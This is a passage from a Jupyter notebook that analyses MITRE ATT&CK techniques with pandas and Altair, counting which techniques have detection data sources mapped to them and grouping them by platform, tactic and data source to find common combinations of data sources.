531mitre-attack[Windows][lateral-movement]Shared WebrootT1051NaNNaNWithout DS
536mitre-attack[Linux, macOS, Windows][command-and-control]Commonly Used PortT1043NaNNaNWithout DS
542mitre-attack[Windows][persistence, privilege-escalation]Path InterceptionT1034NaNNaNWithout DS
547mitre-attack[Linux, macOS, Windows][command-and-control]Multiband CommunicationT1026NaNNaNWithout DS
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91 rows × 8 columns

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" - ], - "text/plain": [ - " matrix platform \\\n", - "10 mitre-attack [PRE] \n", - "11 mitre-attack [PRE] \n", - "12 mitre-attack [PRE] \n", - "13 mitre-attack [PRE] \n", - "14 mitre-attack [PRE] \n", - ".. ... ... \n", - "524 mitre-attack [Linux, macOS, Windows] \n", - "531 mitre-attack [Windows] \n", - "536 mitre-attack [Linux, macOS, Windows] \n", - "542 mitre-attack [Windows] \n", - "547 mitre-attack [Linux, macOS, Windows] \n", - "\n", - " tactic technique \\\n", - "10 [resource-development] Link Target \n", - "11 [resource-development] Drive-by Target \n", - "12 [resource-development] Install Digital Certificate \n", - "13 [resource-development] Upload Tool \n", - "14 [resource-development] Upload Malware \n", - ".. ... ... \n", - "524 [execution] Graphical User Interface \n", - "531 [lateral-movement] Shared Webroot \n", - "536 [command-and-control] Commonly Used Port \n", - "542 [persistence, privilege-escalation] Path Interception \n", - "547 [command-and-control] Multiband Communication \n", - "\n", - " technique_id data_sources Count_DS Ind_DS \n", - "10 T1608.005 NaN NaN Without DS \n", - "11 T1608.004 NaN NaN Without DS \n", - "12 T1608.003 NaN NaN Without DS \n", - "13 T1608.002 NaN NaN Without DS \n", - "14 T1608.001 NaN NaN Without DS \n", - ".. ... ... ... ... \n", - "524 T1061 NaN NaN Without DS \n", - "531 T1051 NaN NaN Without DS \n", - "536 T1043 NaN NaN Without DS \n", - "542 T1034 NaN NaN Without DS \n", - "547 T1026 NaN NaN Without DS \n", - "\n", - "[91 rows x 8 columns]" - ] - }, - "execution_count": 23, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "data[(data['matrix']=='mitre-attack') & (data['Ind_DS']=='Without DS')]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Techniques without data sources" - ] - }, - { - "cell_type": "code", - "execution_count": 24, - "metadata": {}, - "outputs": [], - "source": [ - "techniques_without_data_sources=techniques[techniques.data_sources.isnull()].reset_index(drop=True)" - ] - }, - { - "cell_type": "code", - "execution_count": 25, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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matrixplatformtactictechniquetechnique_iddata_sourcesCount_DSInd_DS
0mitre-attack[PRE][resource-development]Link TargetT1608.005NaNNaNWithout DS
1mitre-attack[PRE][resource-development]Drive-by TargetT1608.004NaNNaNWithout DS
2mitre-attack[PRE][resource-development]Install Digital CertificateT1608.003NaNNaNWithout DS
3mitre-attack[PRE][resource-development]Upload ToolT1608.002NaNNaNWithout DS
4mitre-attack[PRE][resource-development]Upload MalwareT1608.001NaNNaNWithout DS
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" - ], - "text/plain": [ - " matrix platform tactic technique \\\n", - "0 mitre-attack [PRE] [resource-development] Link Target \n", - "1 mitre-attack [PRE] [resource-development] Drive-by Target \n", - "2 mitre-attack [PRE] [resource-development] Install Digital Certificate \n", - "3 mitre-attack [PRE] [resource-development] Upload Tool \n", - "4 mitre-attack [PRE] [resource-development] Upload Malware \n", - "\n", - " technique_id data_sources Count_DS Ind_DS \n", - "0 T1608.005 NaN NaN Without DS \n", - "1 T1608.004 NaN NaN Without DS \n", - "2 T1608.003 NaN NaN Without DS \n", - "3 T1608.002 NaN NaN Without DS \n", - "4 T1608.001 NaN NaN Without DS " - ] - }, - "execution_count": 25, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_without_data_sources.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 26, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "There are 372 techniques without data sources ( 41% of 916 techniques)\n" - ] - } - ], - "source": [ - "print('There are ',techniques['data_sources'].isna().sum(),' techniques without data sources (',\"{0:.0%}\".format(techniques['data_sources'].isna().sum()/len(techniques)),' of ',len(techniques),' techniques)')" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Techniques With Data Sources" - ] - }, - { - "cell_type": "code", - "execution_count": 27, - "metadata": {}, - "outputs": [], - "source": [ - "techniques_with_data_sources=techniques[techniques.data_sources.notnull()].reset_index(drop=True)" - ] - }, - { - "cell_type": "code", - "execution_count": 28, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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matrixplatformtactictechniquetechnique_iddata_sourcesCount_DSInd_DS
0mitre-attack[Windows, macOS][defense-evasion]Code Signing Policy ModificationT1553.006[Windows Registry: Windows Registry Key Modifi...3.0With DS
1mitre-attack[Windows, Linux, macOS, IaaS][discovery]System Location DiscoveryT1614[Instance: Instance Metadata, Process: Process...4.0With DS
2mitre-attack[Containers][discovery]Container and Resource DiscoveryT1613[Cluster: Cluster Metadata, Container: Contain...6.0With DS
3mitre-attack[Containers][credential-access]Container APIT1552.007[Command: Command Execution, File: File Access...3.0With DS
4mitre-attack[Containers][defense-evasion]Build Image on HostT1612[Image: Image Creation, Network Traffic: Netwo...4.0With DS
\n", - "
" - ], - "text/plain": [ - " matrix platform tactic \\\n", - "0 mitre-attack [Windows, macOS] [defense-evasion] \n", - "1 mitre-attack [Windows, Linux, macOS, IaaS] [discovery] \n", - "2 mitre-attack [Containers] [discovery] \n", - "3 mitre-attack [Containers] [credential-access] \n", - "4 mitre-attack [Containers] [defense-evasion] \n", - "\n", - " technique technique_id \\\n", - "0 Code Signing Policy Modification T1553.006 \n", - "1 System Location Discovery T1614 \n", - "2 Container and Resource Discovery T1613 \n", - "3 Container API T1552.007 \n", - "4 Build Image on Host T1612 \n", - "\n", - " data_sources Count_DS Ind_DS \n", - "0 [Windows Registry: Windows Registry Key Modifi... 3.0 With DS \n", - "1 [Instance: Instance Metadata, Process: Process... 4.0 With DS \n", - "2 [Cluster: Cluster Metadata, Container: Contain... 6.0 With DS \n", - "3 [Command: Command Execution, File: File Access... 3.0 With DS \n", - "4 [Image: Image Creation, Network Traffic: Netwo... 4.0 With DS " - ] - }, - "execution_count": 28, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_with_data_sources.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 29, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "There are 544 techniques with data sources ( 59% of 916 techniques)\n" - ] - } - ], - "source": [ - "print('There are ',techniques['data_sources'].notna().sum(),' techniques with data sources (',\"{0:.0%}\".format(techniques['data_sources'].notna().sum()/len(techniques)),' of ',len(techniques),' techniques)')" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 12. Grouping Techniques With Data Sources By Matrix" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Let's create a graph to represent the number of techniques per matrix:" - ] - }, - { - "cell_type": "code", - "execution_count": 30, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - "" - ], - "text/plain": [ - "alt.LayerChart(...)" - ] - }, - "execution_count": 30, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "matrix_distribution = pandas.DataFrame({\n", - " 'Matrix': list(techniques_with_data_sources.groupby(['matrix'])['matrix'].count().keys()),\n", - " 'Count of Techniques': techniques_with_data_sources.groupby(['matrix'])['matrix'].count().tolist()})\n", - "bars = alt.Chart(matrix_distribution).mark_bar().encode(y='Matrix',x='Count of Techniques').properties(width=300,height=100)\n", - "text = bars.mark_text(align='center',baseline='middle',dx=10,dy=0).encode(text='Count of Techniques')\n", - "bars + text" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "All the techniques belong to **mitre-attack** matrix which is the main **Enterprise** matrix. Reference: https://attack.mitre.org/wiki/Main_Page " - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 13. Grouping Techniques With Data Sources by Platform" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "First, we need to split the **platform** column values because a technique might be mapped to more than one platform" - ] - }, - { - "cell_type": "code", - "execution_count": 31, - "metadata": {}, - "outputs": [], - "source": [ - "techniques_platform=techniques_with_data_sources\n", - "\n", - "attributes_1 = ['platform'] # In attributes we are going to indicate the name of the columns that we need to split\n", - "\n", - "for a in attributes_1:\n", - " s = techniques_platform.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", - " # \"s\" is going to be a column of a frame with every value of the list inside each cell of the column \"a\"\n", - " s.name = a\n", - " # We name \"s\" with the same name of \"a\".\n", - " techniques_platform=techniques_platform.drop(a, axis=1).join(s).reset_index(drop=True)\n", - " # We drop the column \"a\" from \"techniques_platform\", and then join \"techniques_platform\" with \"s\"\n", - "\n", - "# Let's re-arrange the columns from general to specific\n", - "techniques_platform_2=techniques_platform.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "We can now show techniques with data sources mapped to one platform at the time" - ] - }, - { - "cell_type": "code", - "execution_count": 32, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attackWindows[defense-evasion]Code Signing Policy ModificationT1553.006[Windows Registry: Windows Registry Key Modifi...
1mitre-attackmacOS[defense-evasion]Code Signing Policy ModificationT1553.006[Windows Registry: Windows Registry Key Modifi...
2mitre-attackWindows[discovery]System Location DiscoveryT1614[Instance: Instance Metadata, Process: Process...
3mitre-attackLinux[discovery]System Location DiscoveryT1614[Instance: Instance Metadata, Process: Process...
4mitre-attackmacOS[discovery]System Location DiscoveryT1614[Instance: Instance Metadata, Process: Process...
\n", - "
" - ], - "text/plain": [ - " matrix platform tactic technique \\\n", - "0 mitre-attack Windows [defense-evasion] Code Signing Policy Modification \n", - "1 mitre-attack macOS [defense-evasion] Code Signing Policy Modification \n", - "2 mitre-attack Windows [discovery] System Location Discovery \n", - "3 mitre-attack Linux [discovery] System Location Discovery \n", - "4 mitre-attack macOS [discovery] System Location Discovery \n", - "\n", - " technique_id data_sources \n", - "0 T1553.006 [Windows Registry: Windows Registry Key Modifi... \n", - "1 T1553.006 [Windows Registry: Windows Registry Key Modifi... \n", - "2 T1614 [Instance: Instance Metadata, Process: Process... \n", - "3 T1614 [Instance: Instance Metadata, Process: Process... \n", - "4 T1614 [Instance: Instance Metadata, Process: Process... " - ] - }, - "execution_count": 32, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_platform_2.head()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Let's create a visualization to show the number of techniques grouped by platform:" - ] - }, - { - "cell_type": "code", - "execution_count": 33, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - "" - ], - "text/plain": [ - "alt.LayerChart(...)" - ] - }, - "execution_count": 33, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "platform_distribution = pandas.DataFrame({\n", - " 'Platform': list(techniques_platform_2.groupby(['platform'])['platform'].count().keys()),\n", - " 'Count of Techniques': techniques_platform_2.groupby(['platform'])['platform'].count().tolist()})\n", - "bars = alt.Chart(platform_distribution,height=300).mark_bar().encode(x ='Platform',y='Count of Techniques',color='Platform').properties(width=200)\n", - "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", - "bars + text" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "In the bar chart above we can see that there are more techniques with data sources mapped to the Windows platform." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 14. Grouping Techniques With Data Sources by Tactic" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Again, first we need to split the tactic column values because a technique might be mapped to more than one tactic:" - ] - }, - { - "cell_type": "code", - "execution_count": 34, - "metadata": {}, - "outputs": [], - "source": [ - "techniques_tactic=techniques_with_data_sources\n", - "\n", - "attributes_2 = ['tactic'] # In attributes we are going to indicate the name of the columns that we need to split\n", - "\n", - "for a in attributes_2:\n", - " s = techniques_tactic.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", - " # \"s\" is going to be a column of a frame with every value of the list inside each cell of the column \"a\"\n", - " s.name = a\n", - " # We name \"s\" with the same name of \"a\".\n", - " techniques_tactic = techniques_tactic.drop(a, axis=1).join(s).reset_index(drop=True)\n", - " # We drop the column \"a\" from \"techniques_tactic\", and then join \"techniques_tactic\" with \"s\"\n", - "\n", - "# Let's re-arrange the columns from general to specific\n", - "techniques_tactic_2=techniques_tactic.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "We can now show techniques with data sources mapped to one tactic at the time" - ] - }, - { - "cell_type": "code", - "execution_count": 35, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attack[Windows, macOS]defense-evasionCode Signing Policy ModificationT1553.006[Windows Registry: Windows Registry Key Modifi...
1mitre-attack[Windows, Linux, macOS, IaaS]discoverySystem Location DiscoveryT1614[Instance: Instance Metadata, Process: Process...
2mitre-attack[Containers]discoveryContainer and Resource DiscoveryT1613[Cluster: Cluster Metadata, Container: Contain...
3mitre-attack[Containers]credential-accessContainer APIT1552.007[Command: Command Execution, File: File Access...
4mitre-attack[Containers]defense-evasionBuild Image on HostT1612[Image: Image Creation, Network Traffic: Netwo...
\n", - "
" - ], - "text/plain": [ - " matrix platform tactic \\\n", - "0 mitre-attack [Windows, macOS] defense-evasion \n", - "1 mitre-attack [Windows, Linux, macOS, IaaS] discovery \n", - "2 mitre-attack [Containers] discovery \n", - "3 mitre-attack [Containers] credential-access \n", - "4 mitre-attack [Containers] defense-evasion \n", - "\n", - " technique technique_id \\\n", - "0 Code Signing Policy Modification T1553.006 \n", - "1 System Location Discovery T1614 \n", - "2 Container and Resource Discovery T1613 \n", - "3 Container API T1552.007 \n", - "4 Build Image on Host T1612 \n", - "\n", - " data_sources \n", - "0 [Windows Registry: Windows Registry Key Modifi... \n", - "1 [Instance: Instance Metadata, Process: Process... \n", - "2 [Cluster: Cluster Metadata, Container: Contain... \n", - "3 [Command: Command Execution, File: File Access... \n", - "4 [Image: Image Creation, Network Traffic: Netwo... " - ] - }, - "execution_count": 35, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_tactic_2.head()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Let's create a visualization to show the number of techniques grouped by tactic:" - ] - }, - { - "cell_type": "code", - "execution_count": 36, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - "" - ], - "text/plain": [ - "alt.LayerChart(...)" - ] - }, - "execution_count": 36, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "tactic_distribution = pandas.DataFrame({\n", - " 'Tactic': list(techniques_tactic_2.groupby(['tactic'])['tactic'].count().keys()),\n", - " 'Count of Techniques': techniques_tactic_2.groupby(['tactic'])['tactic'].count().tolist()}).sort_values(by='Count of Techniques',ascending=True)\n", - "bars = alt.Chart(tactic_distribution,width=800,height=300).mark_bar().encode(x ='Tactic',y='Count of Techniques',color='Tactic').properties(width=400)\n", - "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", - "bars + text" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Defende-evasion and Persistence are tactics with the highest nummber of techniques with data sources" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 15. Grouping Techniques With Data Sources by Data Source" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "We need to split the data source column values because a technique might be mapped to more than one data source:" - ] - }, - { - "cell_type": "code", - "execution_count": 37, - "metadata": {}, - "outputs": [], - "source": [ - "techniques_data_source=techniques_with_data_sources\n", - "\n", - "attributes_3 = ['data_sources'] # In attributes we are going to indicate the name of the columns that we need to split\n", - "\n", - "for a in attributes_3:\n", - " s = techniques_data_source.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", - " # \"s\" is going to be a column of a frame with every value of the list inside each cell of the column \"a\"\n", - " s.name = a\n", - " # We name \"s\" with the same name of \"a\".\n", - " techniques_data_source = techniques_data_source.drop(a, axis=1).join(s).reset_index(drop=True)\n", - " # We drop the column \"a\" from \"techniques_data_source\", and then join \"techniques_data_source\" with \"s\"\n", - "\n", - "# Let's re-arrange the columns from general to specific\n", - "techniques_data_source_2 = techniques_data_source.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)\n", - "\n", - "# We are going to edit some names inside the dataframe to improve the consistency:\n", - "techniques_data_source_3 = techniques_data_source_2.replace(['Process monitoring','Application logs'],['Process Monitoring','Application Logs'])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "We can now show techniques with data sources mapped to one data source at the time" - ] - }, - { - "cell_type": "code", - "execution_count": 38, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attack[Windows, macOS][defense-evasion]Code Signing Policy ModificationT1553.006Windows Registry: Windows Registry Key Modific...
1mitre-attack[Windows, macOS][defense-evasion]Code Signing Policy ModificationT1553.006Command: Command Execution
2mitre-attack[Windows, macOS][defense-evasion]Code Signing Policy ModificationT1553.006Process: Process Creation
3mitre-attack[Windows, Linux, macOS, IaaS][discovery]System Location DiscoveryT1614Instance: Instance Metadata
4mitre-attack[Windows, Linux, macOS, IaaS][discovery]System Location DiscoveryT1614Process: Process Creation
\n", - "
" - ], - "text/plain": [ - " matrix platform tactic \\\n", - "0 mitre-attack [Windows, macOS] [defense-evasion] \n", - "1 mitre-attack [Windows, macOS] [defense-evasion] \n", - "2 mitre-attack [Windows, macOS] [defense-evasion] \n", - "3 mitre-attack [Windows, Linux, macOS, IaaS] [discovery] \n", - "4 mitre-attack [Windows, Linux, macOS, IaaS] [discovery] \n", - "\n", - " technique technique_id \\\n", - "0 Code Signing Policy Modification T1553.006 \n", - "1 Code Signing Policy Modification T1553.006 \n", - "2 Code Signing Policy Modification T1553.006 \n", - "3 System Location Discovery T1614 \n", - "4 System Location Discovery T1614 \n", - "\n", - " data_sources \n", - "0 Windows Registry: Windows Registry Key Modific... \n", - "1 Command: Command Execution \n", - "2 Process: Process Creation \n", - "3 Instance: Instance Metadata \n", - "4 Process: Process Creation " - ] - }, - "execution_count": 38, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_data_source_3.head()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Let's create a visualization to show the number of techniques grouped by data sources:" - ] - }, - { - "cell_type": "code", - "execution_count": 39, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - "" - ], - "text/plain": [ - "alt.LayerChart(...)" - ] - }, - "execution_count": 39, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "data_source_distribution = pandas.DataFrame({\n", - " 'Data Source': list(techniques_data_source_3.groupby(['data_sources'])['data_sources'].count().keys()),\n", - " 'Count of Techniques': techniques_data_source_3.groupby(['data_sources'])['data_sources'].count().tolist()})\n", - "bars = alt.Chart(data_source_distribution,width=800,height=300).mark_bar().encode(x ='Data Source',y='Count of Techniques',color='Data Source').properties(width=1200)\n", - "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", - "bars + text" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "A few interesting things from the bar chart above:\n", - "* Process Monitoring, File Monitoring, and Process Command-line parameters are the Data Sources with the highest number of techniques\n", - "* There are some data source names that include string references to Windows such as PowerShell, Windows and wmi" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 16. Most Relevant Groups Of Data Sources Per Technique" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Number Of Data Sources Per Technique" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Although identifying the data sources with the highest number of techniques is a good start, they usually do not work alone. You might be collecting **Process Monitoring** already but you might be still missing a lot of context from a data perspective." - ] - }, - { - "cell_type": "code", - "execution_count": 40, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - "" - ], - "text/plain": [ - "alt.LayerChart(...)" - ] - }, - "execution_count": 40, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "data_source_distribution_2 = pandas.DataFrame({\n", - " 'Techniques': list(techniques_data_source_3.groupby(['technique'])['technique'].count().keys()),\n", - " 'Count of Data Sources': techniques_data_source_3.groupby(['technique'])['technique'].count().tolist()})\n", - "\n", - "data_source_distribution_3 = pandas.DataFrame({\n", - " 'Number of Data Sources': list(data_source_distribution_2.groupby(['Count of Data Sources'])['Count of Data Sources'].count().keys()),\n", - " 'Count of Techniques': data_source_distribution_2.groupby(['Count of Data Sources'])['Count of Data Sources'].count().tolist()})\n", - "\n", - "bars = alt.Chart(data_source_distribution_3).mark_bar().encode(x ='Number of Data Sources',y='Count of Techniques').properties(width=500)\n", - "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", - "bars + text" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "The image above shows you the number data sources needed per techniques according to ATT&CK:\n", - "* There are 71 techniques that require 3 data sources as enough context to validate the detection of them according to ATT&CK\n", - "* Only one technique has 12 data sources\n", - "* One data source only applies to 19 techniques" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Let's create subsets of data sources with the data source column defining and using a python function:" - ] - }, - { - "cell_type": "code", - "execution_count": 41, - "metadata": {}, - "outputs": [], - "source": [ - "# https://stackoverflow.com/questions/26332412/python-recursive-function-to-display-all-subsets-of-given-set\n", - "def subs(l):\n", - " res = []\n", - " for i in range(1, len(l) + 1):\n", - " for combo in itertools.combinations(l, i):\n", - " res.append(list(combo))\n", - " return res" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Before applying the function, we need to use lowercase data sources names and sort data sources names to improve consistency:" - ] - }, - { - "cell_type": "code", - "execution_count": 42, - "metadata": {}, - "outputs": [], - "source": [ - "df = techniques_with_data_sources[['data_sources']]" - ] - }, - { - "cell_type": "code", - "execution_count": 43, - "metadata": {}, - "outputs": [], - "source": [ - "for index, row in df.iterrows():\n", - " row[\"data_sources\"]=[x.lower() for x in row[\"data_sources\"]]\n", - " row[\"data_sources\"].sort()" - ] - }, - { - "cell_type": "code", - "execution_count": 44, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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data_sources
0[command: command execution, process: process ...
1[command: command execution, instance: instanc...
2[application log: application log content, clu...
3[command: command execution, file: file access...
4[image: image creation, network traffic: netwo...
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" - ], - "text/plain": [ - " data_sources\n", - "0 [command: command execution, process: process ...\n", - "1 [command: command execution, instance: instanc...\n", - "2 [application log: application log content, clu...\n", - "3 [command: command execution, file: file access...\n", - "4 [image: image creation, network traffic: netwo..." - ] - }, - "execution_count": 44, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.head()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Let's apply the function and split the subsets column:" - ] - }, - { - "cell_type": "code", - "execution_count": 45, - "metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - ":1: SettingWithCopyWarning: \n", - "A value is trying to be set on a copy of a slice from a DataFrame.\n", - "Try using .loc[row_indexer,col_indexer] = value instead\n", - "\n", - "See the caveats in the documentation: https://pandas.pydata.org/pandas-docs/stable/user_guide/indexing.html#returning-a-view-versus-a-copy\n", - " df['subsets']=df['data_sources'].apply(subs)\n" - ] - } - ], - "source": [ - "df['subsets']=df['data_sources'].apply(subs)" - ] - }, - { - "cell_type": "code", - "execution_count": 46, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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data_sourcessubsets
0[command: command execution, process: process ...[[command: command execution], [process: proce...
1[command: command execution, instance: instanc...[[command: command execution], [instance: inst...
2[application log: application log content, clu...[[application log: application log content], [...
3[command: command execution, file: file access...[[command: command execution], [file: file acc...
4[image: image creation, network traffic: netwo...[[image: image creation], [network traffic: ne...
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" - ], - "text/plain": [ - " data_sources \\\n", - "0 [command: command execution, process: process ... \n", - "1 [command: command execution, instance: instanc... \n", - "2 [application log: application log content, clu... \n", - "3 [command: command execution, file: file access... \n", - "4 [image: image creation, network traffic: netwo... \n", - "\n", - " subsets \n", - "0 [[command: command execution], [process: proce... \n", - "1 [[command: command execution], [instance: inst... \n", - "2 [[application log: application log content], [... \n", - "3 [[command: command execution], [file: file acc... \n", - "4 [[image: image creation], [network traffic: ne... " - ] - }, - "execution_count": 46, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.head()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "We need to split the subsets column values:" - ] - }, - { - "cell_type": "code", - "execution_count": 47, - "metadata": {}, - "outputs": [], - "source": [ - "techniques_with_data_sources_preview = df" - ] - }, - { - "cell_type": "code", - "execution_count": 48, - "metadata": {}, - "outputs": [], - "source": [ - "attributes_4 = ['subsets']\n", - "\n", - "for a in attributes_4:\n", - " s = techniques_with_data_sources_preview.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", - " s.name = a\n", - " techniques_with_data_sources_preview = techniques_with_data_sources_preview.drop(a, axis=1).join(s).reset_index(drop=True)\n", - " \n", - "techniques_with_data_sources_subsets = techniques_with_data_sources_preview.reindex(['data_sources','subsets'], axis=1)\n" - ] - }, - { - "cell_type": "code", - "execution_count": 49, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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data_sourcessubsets
0[command: command execution, process: process ...[command: command execution]
1[command: command execution, process: process ...[process: process creation]
2[command: command execution, process: process ...[windows registry: windows registry key modifi...
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" - ], - "text/plain": [ - " data_sources \\\n", - "0 [command: command execution, process: process ... \n", - "1 [command: command execution, process: process ... \n", - "2 [command: command execution, process: process ... \n", - "3 [command: command execution, process: process ... \n", - "4 [command: command execution, process: process ... \n", - "\n", - " subsets \n", - "0 [command: command execution] \n", - "1 [process: process creation] \n", - "2 [windows registry: windows registry key modifi... \n", - "3 [command: command execution, process: process ... \n", - "4 [command: command execution, windows registry:... " - ] - }, - "execution_count": 49, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_with_data_sources_subsets.head()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Let's add three columns to analyse the dataframe: subsets_name (Changing Lists to Strings), subsets_number_elements ( Number of data sources per subset) and number_data_sources_per_technique" - ] - }, - { - "cell_type": "code", - "execution_count": 50, - "metadata": {}, - "outputs": [], - "source": [ - "techniques_with_data_sources_subsets['subsets_name']=techniques_with_data_sources_subsets['subsets'].apply(lambda x: ','.join(map(str, x)))\n", - "techniques_with_data_sources_subsets['subsets_number_elements']=techniques_with_data_sources_subsets['subsets'].str.len()\n", - "techniques_with_data_sources_subsets['number_data_sources_per_technique']=techniques_with_data_sources_subsets['data_sources'].str.len()" - ] - }, - { - "cell_type": "code", - "execution_count": 51, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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data_sourcessubsetssubsets_namesubsets_number_elementsnumber_data_sources_per_technique
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" - ], - "text/plain": [ - " data_sources \\\n", - "0 [command: command execution, process: process ... \n", - "1 [command: command execution, process: process ... \n", - "2 [command: command execution, process: process ... \n", - "3 [command: command execution, process: process ... \n", - "4 [command: command execution, process: process ... \n", - "\n", - " subsets \\\n", - "0 [command: command execution] \n", - "1 [process: process creation] \n", - "2 [windows registry: windows registry key modifi... \n", - "3 [command: command execution, process: process ... \n", - "4 [command: command execution, windows registry:... \n", - "\n", - " subsets_name subsets_number_elements \\\n", - "0 command: command execution 1 \n", - "1 process: process creation 1 \n", - "2 windows registry: windows registry key modific... 1 \n", - "3 command: command execution,process: process cr... 2 \n", - "4 command: command execution,windows registry: w... 2 \n", - "\n", - " number_data_sources_per_technique \n", - "0 3 \n", - "1 3 \n", - "2 3 \n", - "3 3 \n", - "4 3 " - ] - }, - "execution_count": 51, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_with_data_sources_subsets.head()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "As it was described above, we need to find grups pf data sources, so we are going to filter out all the subsets with only one data source:" - ] - }, - { - "cell_type": "code", - "execution_count": 52, - "metadata": {}, - "outputs": [], - "source": [ - "subsets = techniques_with_data_sources_subsets\n", - "\n", - "subsets_ok=subsets[subsets.subsets_number_elements != 1]" - ] - }, - { - "cell_type": "code", - "execution_count": 53, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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data_sourcessubsetssubsets_namesubsets_number_elementsnumber_data_sources_per_technique
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subsets_count
subsets_name
command: command execution,process: process creation167
network traffic: network traffic content,network traffic: network traffic flow62
file: file modification,process: process creation60
file: file creation,process: process creation57
command: command execution,file: file modification54
file: file creation,file: file modification51
command: command execution,file: file modification,process: process creation47
command: command execution,process: os api execution47
command: command execution,file: file creation47
command: command execution,windows registry: windows registry key modification45
command: command execution,file: file creation,process: process creation44
command: command execution,file: file access42
process: process creation,windows registry: windows registry key modification40
file: file creation,file: file modification,process: process creation40
command: command execution,process: process creation,windows registry: windows registry key modification39
